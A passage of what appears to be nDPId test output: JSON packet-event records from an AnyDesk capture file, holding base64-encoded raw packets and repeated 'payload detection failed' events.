woZfewd9crEaLV417n74jLCQzm5fufozot+zsd5DMQsDUN5VZ2jcASgdORqD1qYK38Jn4YBGTlL2w4TuSEpA\/rO"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":913,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07817{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":914,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":263538,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAejJAAIAGAADAqAG7wKgBstOUG56PH7lxWcQmAVAYIBGExAAAFwMDFXdZ4hNO+msVcb49MpXjCCGAKfuxi8K68tKbjnzzjJcXM0+hxOOKQbntVkMEHS476VgBm2BE7ozQcGQABFMktu6uSbr2Hy+6CFgraH6Yij9G+5Q3bNMAvy42KQK\/728C6Hnk8mFdKzg3MDxHMZKyPufnCOJ+kjZKvcRQcS+8uHIgcY+9IzLDUkDjB6rHpk86pF4hpNVJWKkBDT7qSGWFEdI+knO6auNNmfjkHBFcxwtlY7efjVYm\/JkjH64spKJT+mVLaCNyABZwUHQIu88+QYWAeofQovombQ+15bR4zmX+9A1IqDue5GtVdgx8MoSz+Bm280gm+hv1nHzpnY4NyT1UCGyuXEmju5sr1ecX\/00Hrt\/WLj73AD6KSFTuted7YP4dNXTVfkcXWZP3TbihmHIYrxtuUDkyTdpZzf4Pxsgbs\/O2yZfqF9RU0H4HN0FuWBwM96URl9p5Y53dLDeXNZ\/gQF0ZIcevpJf7cqYliHxFt8KizLN6a9Vn81djgMyFcAaKzh1x7odQV3j9hXhSRJZKf79Nh8AEM1xCrFjcNGnVe8fbM3M\/Jt7mgv+aazCSsflYgKSxrtm1Xo5I6z+DYIE2lTsmcWubJY2RxzIPlTZg38345lv3HrJvmVbm0WqqN\/BP3nDJ1ZRXZ0tVVwB\/6Xv4DvSuZzxnTX6Ewfz8pKBSYboU3K0Er8Hyek+sATO3vHNp40qRUdVs4Z+4WLMrjLHAqjkmVr27mPcXcx0HD7KhPWIHGuY8NKcN5Q8EbVhkoG9JrtUDN8ZRwKOFHr+eKDQFduNUwVy0l8KHhIcxZ\/o88O6\/bemuf8CVT20DOF3PnmKeYaWIWQEoDVo2AkHjqlxgn4s9PuJCG6Pc8Bsr2h36bhjTaFZKIL2TxHlrK7fnNbz14O+1q85mH6quznX\/oleWFUaBM7sq8kFY+d28n57YbGkRfvUQriHfaX8u84UkOt3NOczXRdmvSNWO0ZU1Lf5c07weMDAcoC0phFEDB\/9Ne6VR20+ZWQtmUBmiz6+rHA1zo+L2fU78qg6MOpHsN7enXyce9nMmP3jCiEs5Ru7ACRbFrzTKwuwqItg+0Iyv54kR7kkEb5olDHLlrsqfee1L2Oka7xJRoTnyRj6xJ+i71ITzCjyWXLcUIVzcD8UiAkq75LVM4uzgzFLeBsB6dbPhUeE3m684ZgtnytIQQ1mN532Hj7ntOv4twIdRcLGlqrJqa\/eEFPinyZxNxL6H6sDHyXLkXdymL1d5i3tAveQrLjCEQCUQriIjm3NGbQIuqK+jHt7aeirTNHxzNEEKeby4\/I2LG3WnqdUa6F2bEvhT3m2FAfv2Qzl\/Mil\/Zv1S7KpEcT+mPfEBHc92yzkL5MAffp6oyPalB9i3+ylvwxj4cbJzkyV+7lhVQckllzrTW9e0eXXQ1P686T3GY4MgviGgDvHHKWwzbW0C5rmh7jEL5KKkFmFT2BEPw7WZ7vgCqtinNWFP7tCKsA+YYlGv6wdEbUXtOlqblT9wGJNpBbSaDwKe4UT0LIjxQSBuUO5zahp9vv3uU01aJhltIiha3LC48vuXSC\/EfYFQ1reZtInA+pk6RMJNDhWlRjpAKfBid8vag1dN9dTPFLkSc6Yj8WLe4GbeAWnD8e5GnDdVb+8NsjUQM1WLRKUePrgVBTAIFGIfyPYCJE\/xaYWGUDGTlZDMTuLeaaN46hygjGxn0ulUnusJpEjcxZhUlz9SyQxt6IYr4vJvGgdV6keEQD214oLFO7L8UhPmbSIOkwVEk65g16fIEEA4VgegiTZa+U1WDekk\/k2KpVdz3Epn118UOZxCttGzfwAQq9Npj2AP6B8bcsdXk1U3loW3n0n1RFQGyykt32l\/tWkGcJyGA6BQKY4kpjC\/at\/4T7AFkHGnKX\/nVz\/4I2kduCkW8OneOtVvW2k6OZJDrHIzBEWdq5zMbos1+0IEzej5Rx\/7yixg7vS6lv5fiyCx41WxcvkVG2dtCrBu7LRLQmJI4ois9Bjuwrq4imO2awHkbxUQsTtdoAYL9T7ydF5k88Ig1wf\/mw45lNHnxfjQvv4YmUv+y0CgRjMObedc2cXJYUnSwlvzHr5lNT8AyRKseI96g04SadJgG1ZGL7ZiQp6Hm35ussXPU95a4\/Ung33LSdVgWAC01JQ9sC0qYKQimSXjveY70blnhHjUnhgbJ4SAoYWd1muZdTIl3gsLHnkcU7TGar8g94jgpYPAVAJEIqokskXKaVChFqrWu+TbYipfxU7sbLduzznHQZf3BX8JK5N2444ZmT+Ki9b3S\/YcyJv4SFJ\/ZOYjqZZH8w3LGwpsGWvrSLPtQOAUx40LR1m0e0Sg7i24BaSD+RCqSbAP1fdZk016Cw4UDtA\/YeIXt62DwwXkIlAreBIUizF7gbTUrpAN4BPruDAloWamUKK3\/d1+HPTHTyycfeogOGUEtbJHhrlTW3AqPaQNvKxnLdh4b8mkLwgk9qkSX6C8MjM+WynFxmwBhJAStlDvDVabaY8LCpzTgf98tbPlWP6hBP78vqyqX+SRCJwD2UYWWJWlmFuwqlsMLGSUeqAO2Xit4I6xmpBM38cm44QaMUiC3eLS\/JV4oK8jSN6lgbMOx9EUnw2SfGQcRG5DE7qDR1fUUb1kTxEh5ETjQO+Kj\/tb0WB08hu8NulxmVOwIhjqXY9UZxKCljAyqXNRcGFf2ITXUFI0vYCq4y7pgK8mcYAzrnI+zFUay\/Jb1xgdchSHi6u7IAm7J+zi4E44rjmSy5Dkjq5mjb+ALexIKmF9toZwXiflycmOBHpcDjo6stMQKwHcy8vFjl1WtIJVePN0kK5Vv5Ang2qjm+W+YCA5Mm5mf4gKHLiKFSQlcc2Wbc1yUs7R+tJalJqaFa1Vlsbrgo6QSXU4UYJB2zIK2e+amqH\/fvqUwUX\/EiMKosidnCTLQ+n\/iMlg0RAO0t9VBNjYnWvuU8LFr6Zh8WP0ANb8C4nFY8NUCgKXPymji+uDJg1N8tMq6dZP53R4HFskJLz+NHM+9W+4Sh0Q9Ur6\/oStiQ21IaKchFrYpjakePMaRJ9f28E2t3Efy1uGm5JMAlFFHyAttn2vBvK228uWKRAzJLeTVIy4RzUhNOlAcmnjzdZ2jPO5+LbyQe7bqsDeEksoixKmcVNkVEq8gz6DUz3aq\/JX1phk3jbiNHZ7ALH9JNfa\/q8HsnRMPVyEaRpEElcnjDujaaSR3CdThUFWelmXORWsV6Jr5pgXgdFKCqo4vdclk4TxUeq4yEyIfTI0KWoGZKeynr15WdxNHGuhBY07LyJiqQmDIl6VaEa2KKLCw7PSyJyX8FcM0Uh9tZdCM8jZ2FJONDzhLz5o311\/1FvX25ikur8dVFcBkcQDScKuXco93np4r\/pa63LFCmSWLco3glVQnROjOn\/HYQKFs+YTGxDDvH8igr6e4qzz\/iVJ4xeW7c592eeAf0tNXtuoeezkv04ddkBKXVcwzufw7E1ZNPeBN1B769h253aO1vSHj3kL3GAxLAA0DkR6A\/NKEz\/mQU8IYvE\/8Xi\/suugM9Btumnby2TBLntShIHqZ94Q6Au0XYTVGInNOMv0iI3xTPlPf9mAVZbKTWnCaf6iGDUWRAQlAIyezmaTsxTltFjESGNYrlgYVo\/stazBqmm0Fz4BDTLNoVsOIflWAYH27rkJwksRzaFnjMlMAUYzdHUhFDe0KrkKQPnj\/TJ2eGKEjoRz2CxF4aGPiLMoNVE9tgXfB8OnCbuy1BHJBxqaGhU46uKtHJsMdfDRgethIKtSTv4e\/PtkgM7QcSvm1R8h5K7tvHo2O4KpCo+Kx14yH6WMfmm7wRfi9VdH2I+tp+ZEkNOgbUl2K3bCMgvch66BOTYVVdiKwtj+iRFUbQy68wuJCWIKaZLo7HwsslDKcdLzaILyO3Pwj3U2kQ5G8fxNgTwuWSpOZwbj2oD7kYug7kCQhaWyBPHnu0QOClGXQ1cD4FXUavppkbB7X1pdTvI6IsRV3+eiat9a8MAgyWvNyTppLu6ZAYVPrmWuILMOwQ0CK2JCTSdSfX3It2GiPvuyjxGrwporJVheJ5j4TgGFWFZ56x\/3aaIfMuCJ61IL4TDVADCWLjOyb19UoCPbI5M+T48sDDjikdW0vvU0hbK\/g9H54aaQ1LvkSiYVF4zJI8Mqp8DUkoUtnt9tDOUd10TbDj4fB0py4S4oBhpYnNSarFKsLPwwgr7f\/VlJgsz\/QEJYC\/1eWZniaq55rq9r7l+Ii0sS3G5mthoxSFTTvsta15\/upFXPXIdgVMpDq94eWu\/xZ3x9tYIH7v4T+UocoZTsM2W4Xpj3m01wt9NsNFj5+bY3X0Ys1veaeazgT\/8+iM9nqdhn15awnOiHcyCsO\/tUBO9JCMpdsFYBIc8nEkK9pukLGTLFh9KMz+GsgoT0BFJ5hVGP1OBAUB7O3VkA7F9uERon3JgUXxdgEqBH1yweKYRFlFhtNDtuPfjJ6+yHMpY23ZDd8shaaMjpAWbIlmh2I9iMpwKtOeBkOhrwMIvJ5cJ8mP+2S6MlTVnr74Nwf3cLpv+yVPZq5jgEhezZ\/RbB0D7ykwIY2pYtApGa4nILcbAMyJhlO2V21rEa7XOc4PHPvTKcn9sdcroQyDqhCMFLfXxqn+EHdR7EI03SXlYj+3R9QQfGKBcEDk8iKaui1J+Nj3G2EFvcidyxf88ErF9O9JCEjEgwazcAM3QkaiLA0W5+uhvogjlOBDH0hrJlDmqRu0UiiQPG0VOwmLirSXVIMLzDMOtFp3prlw7FO\/+4MDh\/vWhJw43XpKKdm1xQJgTVN84mCqQzMG14YV6TAV1+rWhv\/CZ5YTS2sDLhMDuvc5bxkHC\/MiEdDmOpv7UgL8DOl7GI8d0QINdRX66v68j9aXMf87xq5+OQBLmRIQWFjMlYubqSm2IqRCH3zsamw8THfHXxJvWKeXIplNAVJvQ7hAkxK4RDVE+zEtu\/gIThZ3MrBoZbcVtBemm9crL8bVSN6Hw3CLVynJsefFq5KCAS5PP9VcozUWciUSmbKq5VtG6bTf7\/dOn7JLq7ySHaFOXI5oYBSnFTZrSwAfO0NkFRC1XKH+oGKT5nIcXDdKogcIc\/LS0HjfZEFOj+vqw1ffRTkhKvn0iL4OUUoeZsAHXka85\/xImBbWXDll94gIXz2qAJpjAXykEZ4eZaa\/kaJfbbziGS9zpx\/XCrldGy59KJpnLendQP+3z3Ebv91VRd0K95v79jEttdrSdaB\/DC88+NncXrGWF8tYW7JHAa1patIA4XA8PRFl4XLIxnDiE2EB72aKvnoKWzXFG0ZwqgIgYlEVawD\/oIvkx5Nt5CwHZUpTPtS4SC4HHwdv\/ZsyUN6S52jNAfIEjVxMXnR7b2wUk1eRGKBcFzZ59cC3jzl28Qy8E1gl+5nuj4kEo+LSSLz1dX4m50vPr7H1RFMcXXXfTogJdlaheE6BteSWpefmF+2yjAi0oSQfJcD24oVul5q\/9Uud0BBqpb6vrhv2bmMbgW30lOiLGbXflVHXB7t1H\/e9RmoECiyoyz4Pa0niVnOwn3PKsIQSGk8KGM5cnp8Tx4xSkWMe+ZO92Fn9qV6C7r8HrSyhI6UQaus7OpYrEw4lhFdm9yVMJKwOYFpiCYkmqLuQno8luxAza3Bdj2RS6+fuLEcOm7L10fsK74w872AV8Esc1randkEJTzH4kCfORsiVnfXQ4KHVcA7n1A9fvxxlB+S01cwEIgvthEQn1w6Dymc0TW7sCVdOvyhvuvOCfiOfe67XlQxwRZ0+oSx0g3ukAAhWqYHUwFJGVwM64aqjo\/IqzF5pvwbinUTXfpEPRr\/3D1aSutk0WnIf7ggtVfij3SMNzA+XitWjHWuZSlzOcBdSQgGC+GmYTXkmnElZTr9I+fSFFGNXBqyNhnbkmMxhj9+w8ZqoVsGYtKA4NR+ndOPwZp4XLZp1d2WzncE+TDT27N9jiZGstGktDfJ3dONxmWMq84RCxKtqRyGktLNuO2ELUaMUY3RHA7T5vQQmEaZduAeAWEMmZxlEhP3BxeByeEXHlD5mzuwMQKvKVKFWXWW\/si9SJTSkIgrHCD\/pSgjPVnutqO9OQ1SS5mOidoNH1SpohtP+ofM0mLbVjwJ5hGqhxQZT2NPgcj9ntqyXIYV5iDYdh3su6TENzkTQ53YMbqdFyl2jRm2SEwVszCtPnWRW8RB0kzr0BfGUmNye73+sGPcJ2EqQTntcOShbT4MnM63khJQg1a2o4Svt14biMiVTNcFMBYHc+oeOb6vc7HDAAIWQu0LajTq578qXKsWfpu5ymDTHecKBdpHP95gsbHBLXVOMf0E\/9JlaAK7\/JVc0zR1dUlOs9AekMYGjDE0vn7oYXHXu9uv+\/NiZFMQ1rbZRJlI0Jkc5sJ+BHvqeebxLZe2Io\/TVK+J92P3ZBhy5Ajyvxoeunx2SYkpsTdhAODH9i3Hv+7zIlsGOmhQv6gu+0enr0tJ4j\/pbQw\/+P73DpB6rFpNHl0vuNPJIVwno6eE7XPAVKSG7fxTP+IhqjheU262NSZP7z0pDEdR2jNMGQ+3BAx656wH9ak0Bw5VgshA67\/OtLGxwGrI5q+2+XNfvUNOEofbH4Ylu4EVqrWLGjnh\/9aDSCpXkcAPfXRnAG5pKh2fwQCYpmwcur5gTgETFawwtYmBfdeT\/WpfB4y96y42PnEmDOGsqxypZEf97ODkJK0I6k49sAxGBaexTDDX8rzGyJ\/M95fvUPTWFnS\/offdXrzmJvE+V3Qsn99edX60R9o+GmAyai70vEyJHIhBUvpEXwL4sg\/vz5bUYRdNKvGW6kFdz4uwFteIQs5DordOyO8lWSDQtbCTY26JFrrYeX2vM9FaZArzQ9N7sU\/HJIYyaa3bGjn\/PI7SxMs\/3IbAo5UhM6uo4dQlOKS3X4qb1NGLaB5KNGIpHha9HdCMUBRylbnSe+ITKcQLtO0HHuQpjO8ruIVAuA0pkrYEd3M0qA13rNoLOQJy6uMBxjLmCcAA2\/21PEJKBqez74vvcsxVk6Fp2bSMG81CNtAmdIZmr7xQ0VtDWf8MmsmCTajZxVeIxXydTh5hhjMGUZlAHiVE2eaXEtuA3OxplLdg4BZvD0hITuXbgZYBZ52YrAH9O9uxX8lcQcZMam+U33TbmcJ6YcezX3Qc+d5Of\/t\/rv4xuVIoc4iT52lyFoaYBlbndMEDJ8fEOeXC7SqGE8LXN1bjyxZ0oFz\/rQUmS+P5aInBzudfFW5gNyQEXZ9O2ueXFrYetDkJCWlqisz2iq\/\/ai8LXrvt7BO\/mGSN0\/OlX7JVSETNC6vn9lJOJBUHnvyUailw+7mfwwP\/g=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":914,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07236{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":915,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":263561,"pkt_caplen":5133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5133,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAejZAAIAGAADAqAG7wKgBstOUG56PH87tWcQmAVAYIBGExAAAFwMDE9JZ4hNO+msVcgH3bowv24DPJaCimBcGZfjfJrk1tru3o5wq+r26mpP\/cCiJnbG54Fxj7AI7g6RvaBSbutpoDFJ1qzO7h8njRWM6YCJWdEr0BW3PWiYuaowHuTI2J7nkbeWfJzE5lDcKqHsEx9CjX9kBCYh3JnWkWRuwsVWrbdBUyOiOeTnr8vh3oYdseHYorNe8nNJdhuAfF8cvqyIBOxGoDGDw2VBSX4rH0jXwfiFvcxKXTq6xcn8pFTLyQp3mNBUdbDvmsUbSzPmZOQz8yLs70Y6YZLW8mOytLs4cDeVu8VLQKmXIMaBvbcnVo1n3JtknqgzF8at2ss5KDhC08VFbCM\/sWievTa8meHjlf7zcCrtEpyH66v6kk85uFrKGigHE5NehdryydaNbKBHDjN04ccyTF\/fgCRwD84llZmrxyoICgX4fOEz+jKlpxzSamT70yVGDaKwgK8wgRFxPeJlzF6rS8Qs3o4KIGh\/q+Paar7Sry7oyj9Oa9y1z3wo8nW1CrrTDNzgPzwzKWLUHqFtsxtgDvMw5nujzssQniV2W2OP\/sIlfC8bRhaTIUxTmFNyRAoGAd4aoulmcJZsLeCOqtl7g+F7umJFR\/IMmt5juSwDNYFjGOiMODmQJ0Oxok429yx9tcrZojhZp6i9YsB+6fbrdsEsfD\/r9QzoXDoAc\/cntmcJPeX2PRri39bAjBWn5AI3lp1P4Lcf1Yt6feh5lfnncG8mVru7u7cQs4bLU1b\/SF0L7PAk17Va7Y3XsmSQQUqCtIFEhUVW3qf0Iugsb3FSoSUauAPGhEtZJMIteLXzITZ6KMICJ97NLucpdpnYU58vUkdi+hZz++mWZN0gRktZIp\/fLNiCxgIHcPGjieVLFH087jmq2wxB0056TRmbPBUVHKuhBJn9xbQQEhkPa5HieYHlHFtLd3\/cRJfGAjEp\/VVC9V3kL2QOirV8feYGGoHMZZHn8jokiRJloFqD+w\/9qObmFYsk8MPwXF+Wb\/eywVJiY6k6ty5HbeT618T0mzyOoMdWgW8mh2d3atp0Etw2p6R19tLNiIyyNEfs1Q4Elw+8jlrLJsGTYVZ57lHD14Io3pwIqwCLh5Dj2WnhDX94Mou96JkRiZPFEBYyNd3xxShxoToWOw5cZ9YP0PhznQKtHet+BWkCrBL5+jjZEvpqX0s+\/OQGPTXIyb63E4\/fmymJDeWaJhsNAsQff2oPxbSyp7ajpFzeK9zYKLRE\/BXkS9aX5YQAUberwTqyUSH7AcIYadTd3a0vcDOQOKGPNwAJFqFXqR\/YHbg3C0p1WjtqVvle3g0KBUDf5EFhK0E9DzgzQE2H8ussn8isJy7GR9W1ALqiFOXg9ARHiebrztRsHZxd3tQPeh91IDaoGEYRNRsgX1o10gXn1Bxu0IO202ZPefzvUo2TZRMsZ\/NbakdNdONbr\/UDl+F01QGgU9DV5y\/YEfJt9VtrMC9g\/kl4\/MU24OkssTMpqo7\/F2jstnCIi7fvKG6MCdoNjAhF9ihGM4kD32Q0i0dt5r2UwzC7YlBY0TGb\/LeoR5Uh5oyAvDXgMUIar9PZpcGWXFWVkILcPEFE50O5cT5wAAdnSPjLXfIhNE1JhXc9KPAKRq0jlDptvoUpryoVtw73ESh0WHre2MAFneGFWLRhhPmIeeE2fsa5xHN5fljL7RRupvXcCwlHC\/5t7MV1UjvZHvxcKXWwJSp7bETt4lxf1lHIG5uylB\/zKzjqkdmfTwPAv6olvuyHsulJX8N8PeURRNTG\/hsPAe5jr9n9K6lO+UpLZ6ZxS2PZW2oGHlCz2pfPZzYctaS8Yimpwhp0QVH3lhazYwMs1F2hF7SaDUAdnmX0UUSBnB+LW6He5mXUsQwNJOftjGOo7mgOGxFl4zLhlaIboVbisOCi7p5S0EE5jN8a0ygthq9+wl7pzC6Ob0CQ1nxX3oxLpY8cqM3JaQ5PKtVnJTobKqZTFqT7OHf1BTKcc9rjBVPl862BkOfcKfTcJrOD+zX2mC9CFeP008fFKdBWn4oBRGSLe6W32ZRkE8Law2QY2gwc3Q5u\/OgXbKOsX8S9pUwdBYhEiH\/P5dbxYGC9eEetPqxSij4fAeYINgBtzd9NI\/Kw455j8fAmKxoH3v50FMBmmuJRIcc40dx1NKGOUfW8Drrq6F4Ory3M9YTfRWjADcpVsuVlFyQKu4H565\/2KOypX2TMsr0QDJFTvbbXBSFvvXTTxjz1TJtmcGEEv2Lxn+oY0kDQ2qip8rcLVlBLYAmTnOH9m+DLdIX4K8YhsHKfG2AqvqtDB4YPtzQzzfhECNddlbXmPZL\/wqy9RjPLKWP4J400MPcDl3o9bCZtJicxJSnFI9fAwJOXf04c5VaUbNR22bYB\/ssBf3+nTE9+LxjwWc6cDVRbORwJ0gCXqvCEaUaJApSUvudh\/IRg48rODwCp01X4NJ1IC0dB6Teva0A81n9ibdYJbCZpB+gem6Od0e1Hp5JxuG2HANg7tPhG52hw21fj5WuJbeX0KycIitAyFnF7b7C1+YEcsb7a+\/2QG+\/Viv2DmIffybzdFK9S25euevnoUOpQjIZVKq576U+j\/ranBAAisb9OFimVpNlCd\/Fk90mzPPmMLzmQbpFsXWoVMOFE9NctXrHLlgXVJatbOuftuHzh\/\/NmEYqq\/+D1ROdW2wofQYPWQUc4X1iGy5rNoxOcIu\/SQZ42SRHwNMWCq5DBw4LIr+InTkVYbYfNh6eI8dsUqgpQo0uqXRo\/B927OYCitd4TFTd+xxfb7oZnME59w5qAHIK9\/Dnwhd0lLjFBrKZqnbBeoefBRIYJJt6PVg0bmZZQGZaoqzPHz3pasj8hCgrYpWrb6GK3qeHl4k4mc4fhlVrEoA2zPoVhgKl+GCo\/7DGJ7Gi3uuILnqXZcnTSZqsfyX59O6gkArCqfRpL2oSz4pJ+WH3gLylHwZwmQATRw503jLKWm\/g\/fYE8YdWlYBp62jC9r5iBGIYLlZ73aGR4VT\/7y\/aE7+KogXuhSN3hCa0U\/BehGxz7B5AWaoJYYqSzz+9E5j8HcsEUEawNTdW+HPyq9QBP3xwUFkAtB6Hc6C3ZCTKKnwV+fdEYCtBw1KBSyhrA6o08V+kaOeV0eTkCClSJYL7yi\/Gh\/tCOwwshymPr00XCvLH8n8gwiC2\/zIHvh8eUv5xgNsEmdjlnQ9zZAU19oWROwVatpPW8aS8odPepjkGXFP95M\/e7zihxmGNDGjktQ8tqWaK1cZ3+qr+6+Ujbuhxf9DSTbS58rgAyK8lIHIXRuPVg2VWfLdBYT7BiN08dDEXrHEjMjCsniVhrG4PH7ATSy0bb4xB6oQbFxjzkupjSj8V9VnMyf6y6mV4p+TMLEZJGxip6OByb99VvSd8m54MvrZWRYnwq4GXOIUYdaTEhNkOG+Ws\/GN\/fSmSYXUxzX17HHujd3oa5RbKS41JJVA46nUab3Z+IDziQUdwpJmyZQmCKp6WrfJTD3cy7h6KYPVLC6T3TBSFl4b2olFHfSICCzGwZU0M7aoc2yd\/KTn91ifLY4dqdRStOQF9jnRnYSfv5qqB7N7WyosE9VZkVZ1D2da910W\/iiyo5W4p62wNRP5Vr4FwooUss0fNvIFwzf9nNM+KpBsI6Lk5PaeZyM24ZuIplIwFY3Kl2Sej4PQko5Ze3HrgRM5AKT4DtoQ7OgEx7lx5bnNiL0HJzTMZU18FMfB+yMmgDOTL6JrzgD8Rzg4oF3dnmN29AYJghk3iUt2mu7a1lz53Gvsz\/LPhMjYdWKXPV5yzAiYlV77nLm10fzArRiWztD3DcY2JidyrdrmM3GMwf4dehn7Y9TGTO3yzvOXM+io+3YfSBPiWMpUBSHZrDIqc9XPGuyLBhnEiJedX+dabRcfB68OnjMNPsltLB1VkAotzxawtSouGDhQzd+FQWLgq73lG6C35hJIwA9dGTkOzLJWIcfEQZ8SWuMLxfEVnFExlkvh\/nUK3ipOn7kY8r\/ZLPFT4k3d6WEX40LXH5iN4vSFtE\/8WpIDJI1WNKvDh6fLtLTjLKTKntDnGmb+h8\/AxypOTAc9lbh3QGurm44QefNT0iJ3jp1o8UnxeHiMRxSFN5uGdj3eZx6wi1DdtZI3ft36o\/OCENcS0ZLKhut2jfo+BDrrXPliLZqnLCEHazDX4X+Cc5voimFbrKpVWjcHQlpq2YdQPuIfYKuuq5OwjB5F1l9Yu0k3R42Qd7hasIlqt+4KsGN42LW1PC9e3I1527ltzNhGgYoQ2vXlP7QFUg5WhF6df9AQATMJwTuXuaZLFLbY5lvYvP7BoLUZu1AJnUCB6euwAV+kwEcTpddg+EZnn+4jRTYYwDcJzJ9vcubgCgzJtO54NMQH5VrJvGiuAJHJuBDTtF4KcsMrCo32+zneQiHWBwVCkhhZtL50xmQbIYXyOQGn1G3JAtJc0NGpGXXZAsdARsQC0J6W+XWZBSdD41\/7FmAxwxSv3g+w0FqRAfoaa7WrbzkRdRubVomQqA3WnFO9YRqO6ppsS+DDc+0Xk30M5\/I6oOjjqbqy+qRfj14tJGSUjyPLzHfbgPONiFbem3v\/TdgRsSIs+NgFOg+HUxOYkm54W+LM+kYnX1q85S29IdIhIUUDRXkxZV5KuFYubue5g6cazwwH64uMc+uNkWIED++JMifYfRJCBiGeD0M2TJh04Tja3SBVyug1RYkTbiy0cMXdSjikzQrDlxcwvgdmoitnC6TiELYGBjD5r9KkWiMZwKwpWC2wRvgWmEIp3zs6fxzxyQp+ckl49YzVNhStQLUvnSXQYcb+7XMeBdCe5aGRZueYhlM9+9+MOpdDXOPLZdWfXd42chs0LAstACmtn\/w2kARojMQG5176gCN77uiNDwtjjrGz0ouu7vztMUQAM3J7IOmGlPmT3JKY+f77HVhYE8wb6N1y6UQIBCujFlFhdWacnVLQsfJ6fsXFJFYDc+XZFXxu5PPstqHuRvc3w\/9EGPJUXhz7AcEqiVyJcOJiGKz1KEmugtzo9B9CkgI\/03OzOmCYZKuGG1WHtels1yRAVQhEtOAwj+Wmj93wAKPJmnG2Yhw9U0+RMjbgA7ICSGRVGMP8FOBYvRRV5A7rtrxwLrCJ51YBDAPOEe5BColgpKWoIpmwtioHdi7gS6J5hQuxs8tsA3ElxW8vjCqSkoUq3jATj1kqpYD5yjEXODsd3LMyIg24TrNSmc2LzvwUDHuyvLXsBckWwgb7NBIkjBvGegFxAXKVd81Aj0HmFyMSH859v2HRystl2FqUK+CM\/cxBF44+wWWLSNBRYT84TJCw3CUoHSlW5BJmpBHMj5GgNaokqDEkPdh9xquOweIZK0iBicc0OXSCMLzEHsIHQNYqAwoSGP79zGshlrCenBIcK7f8ILQtRBtnqBoIVrnB0tRXJdmeurpl7l9npeB8mZtVvmbtgslz0gcXYhSPpNleIJmNTMSGYCc8dNNriR6EYGKbSOVS7BiLog\/JP6l6TGvlFO9RtDhFFL6MWP55\/JnPN98U0IBjtRc2Zam03td7pNRm63rAzT3RNipUymiF9eDS8XKtF92OUo5rMZXqseOrwNI4pIxT1Y6RFMYItJ+QdBkBQfC7s4XUHN0c48j\/M\/J11W96\/IdIbuY7B6nScqtgn0M\/xvSc6zjkyIkcv3FET1zs8UWXa2zb3+Efq4iLoBrihptvTdQtd6Bt\/QmwkAW94KR2UeHAuzo4eZFeD6iy8JzfJn2JTq46dvqIByPRTWiUWivU22SgU4B23vuBQ8dkecGwcVfCsne1NxiGoDJdx4Xg8YlAWzJ2n7Lew\/FVlLuNSQp1IlSKUeR4gF2psmMUpTp5YYBiBdNsej+xstAg7q\/9PQmYk6600ON3dp3o15mXh+nmfxpNpq3TEcsmzf+yc6hYfmGcHC0y5HB1pzc71yfzJLNL\/CtfHQs5cQ9lwTHbLFa\/06EKR7jtp+F8YE9Dul+843tCt2efn1v6FkGGQl2bdJdUeFYTfK5SJvKcrOsHu61L+IwMuXEO41IC1q33tO4DvOsD3oYUXkUcodEFKigFwVMH5BQ9z6IV\/EAlA6aIAvMPjkZWreJ2Ir0iFtm2SQsAC9uOL968XoOj245gRcsg0yksnBEDoMTJIUfiq25vppq0BXHPwRSPjfkJ2NLlgo0KCRd+cymBhJkH+p8nqfvIjy2p66R2i+qMFG9wcnovUlr+VRpx2igH1R8hZz6+n2MXn8l311O3PZOsg6bU0fZhdYc+nbD8Yyt\/JKUVmlruSg6bQdml1GWrHn553wcejbtyDXJXg0JIqtvKjOmtX1dLEnBKkofWi3CgYKC6+S\/R9HXl5IOEYpzpdcsJtaGdWaR8MLN+e+jXtF2W4Em1z8ZNomWUOM\/yfUEJoxTYgI4Pmb7rlPLQ+LvJfU2wwYzP28TFNKJlolPC7lQOp4cMISgMDJgbeFDe4KiLHiXpbH4Uzk+ulr1Dj8KIG4fCqIumObSfXqkWkaoKWP8xlY8b6yQhkLzpibzBtKJJSIQSoTJP5OkO04FTgT6CLPgs3+TDhPhsFDsZ1DqJybePPbB1Gcu6Z3Jpf2RHMglbUfauW\/YDpuwoYN4HgHDR+ocjsilUdNb94WOiKOcWpWJsaDjtXm9UsnZQFQojJwAHpIypb6V0jMiF9HhAlNo0WOCzfvyqaxiUw4UAyQagcgOM2MTO+3W+NZYJpLUHJoLkqnC8EpU4NcGXX0M7YGN9gvMBhe3buMZXJpaGIgXnBmrgiMxdiKCxSBSBlDDhp65"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":915,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5099} +03024{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":929,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":290663,"pkt_caplen":2008,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2008,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAentAAIAGAADAqAG7wKgBstOUG56PH+geWcQmX1AYIBCExAAAFwMDB51Z4hNO+msVdKVY7Em0DXnBI0WfcrhROqB5ObK\/lUD60puCNMDNNUF9oKYBWMDSWW2hre8+LQp7BprkbTw5CHtBP5ezU5h0NXwbhsMG\/eW9LSixHbhpvrir\/P7y55ou9smrGfsEYwDd+shkmiYN7CIVHUbAVlyAVh9DOVgonWF3htOkfhAOpvemvyysfLePK7ITWhKXztH3u9SETIGW6Dr0bM0Wi1TJ3cRLjYFMWM+pdEb7PtQ1VidtX5ZuGO4drcLaBoIbu1zOBh45f30xMnZZCPgQ5CHJnYWVQKN4